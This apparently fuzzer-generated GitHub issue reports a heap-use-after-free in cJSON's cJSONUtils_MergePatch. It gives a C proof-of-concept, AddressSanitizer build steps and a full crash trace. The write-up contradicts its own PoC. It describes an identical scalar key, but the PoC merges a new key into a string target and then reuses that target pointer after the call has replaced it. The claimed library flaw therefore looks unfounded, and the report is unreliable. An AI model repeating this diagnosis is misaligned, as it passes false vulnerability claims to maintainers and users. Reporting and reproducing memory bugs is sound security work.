Skip to content

Heap-Use-After-Free in cJSONUtils_MergePatch via Recursive Deletion #1022

@JasonHonKL

Description

@JasonHonKL

Heap-Use-After-Free in cJSONUtils_MergePatch via Recursive Deletion

Summary

A Heap-Use-After-Free (UAF) vulnerability exists in the cJSON_Utils extension of the cJSON library. The cJSONUtils_MergePatch function fails to properly manage internal pointers when a recursive call deletes a target node. Specifically, after an internal child node is detached and deleted, the parent function continues to use the stale pointer to update its linked list, leading to memory corruption or crashes.

Version

v1.7.15-53-g983e13c

Description

The vulnerability exists within the object-patching logic of cJSONUtils_MergePatch. When a patch contains an identical key whose value is a scalar/primitive (e.g., a string), the library detaches the old item from the target object via cJSON_DetachItemFromObjectCaseSensitive. It then recursively calls the helper mechanism, which triggers cJSON_Delete on this detached item because the patch is not a JSON object.

Upon returning from the recursion, the parent loop attempts to stitch the newly created replacement node back into the parent object's linked list. However, it improperly accesses the next and prev pointers of the old node that was just freed, resulting in a classic Heap-Use-After-Free (UAF). Subsequent operations on this corrupted object (such as calling cJSON_AddStringToObject) cause immediate memory corruption or crashes during linked-list traversal.

PoC Code

#include "cjson/cJSON.h"
#include "cjson/cJSON_Utils.h"
int main() {
    cJSON *target = cJSON_CreateString("initial_value");
    cJSON *patch = cJSON_CreateObject();
    cJSON_AddStringToObject(patch, "new_node", "value");
    cJSONUtils_MergePatch(target, patch);
    cJSON_AddStringToObject(target, "trigger_node", "crash_now"); 
    return 0;
}

Reproduction Steps

  1. Compile the PoC with AddressSanitizer and direct inclusion of cJSON source files to ensure instrumentation:
clang++ -g -O0 -fsanitize=address \
    -I/path/to/cjson \
    poc.cpp \
    /path/to/cjson/cJSON.c \
    /path/to/cjson/cJSON_Utils.c \
    -o pocA
  1. Run the resulting binary:
./pocA

Stack Trace

=================================================================
==23417==ERROR: AddressSanitizer: heap-use-after-free on address 0x765c39be0030 at pc 0x5ac11666c9ac bp 0x7ffc24b1c680 sp 0x7ffc24b1c678
READ of size 8 at 0x765c39be0030 thread T0
    #0 0x5ac11666c9ab  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13b9ab) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #1 0x5ac11666d486  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13c486) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #2 0x5ac11666e5b3  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13d5b3) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #3 0x5ac11666412e  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13312e) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #4 0x79fc3a9191c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #5 0x79fc3a91928a  (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #6 0x5ac116579394  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x48394) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)

0x765c39be0030 is located 16 bytes inside of 64-byte region [0x765c39be0020,0x765c39be0060)
freed by thread T0 here:
    #0 0x5ac11661e86a  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0xed86a) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #1 0x5ac116665383  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x134383) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #2 0x5ac11668cb21  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x15bb21) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #3 0x5ac11668caa6  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x15baa6) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #4 0x5ac116664117  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x133117) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #5 0x79fc3a9191c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #6 0x79fc3a91928a  (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #7 0x5ac116579394  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x48394) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)

previously allocated by thread T0 here:
    #0 0x5ac11661eb08  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0xedb08) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #1 0x5ac116666ee7  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x135ee7) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #2 0x5ac11666e60f  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13d60f) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #3 0x5ac1166640e6  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x1330e6) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
    #4 0x79fc3a9191c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #5 0x79fc3a91928a  (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #6 0x5ac116579394  (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x48394) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)

SUMMARY: AddressSanitizer: heap-use-after-free (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13b9ab) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0) 
Shadow bytes around the buggy address:
  0x765c39bdfd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x765c39bdfe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x765c39bdfe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x765c39bdff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x765c39bdff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x765c39be0000: fa fa fa fa fd fd[fd]fd fd fd fd fd fa fa fa fa
  0x765c39be0080: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x765c39be0100: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
  0x765c39be0180: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x765c39be0200: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x765c39be0280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:        fa
  Freed heap region:        fd
==23417==ABORTING

---> Signed-off-by: FuzzAnything fuzzanything@gmail.com

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions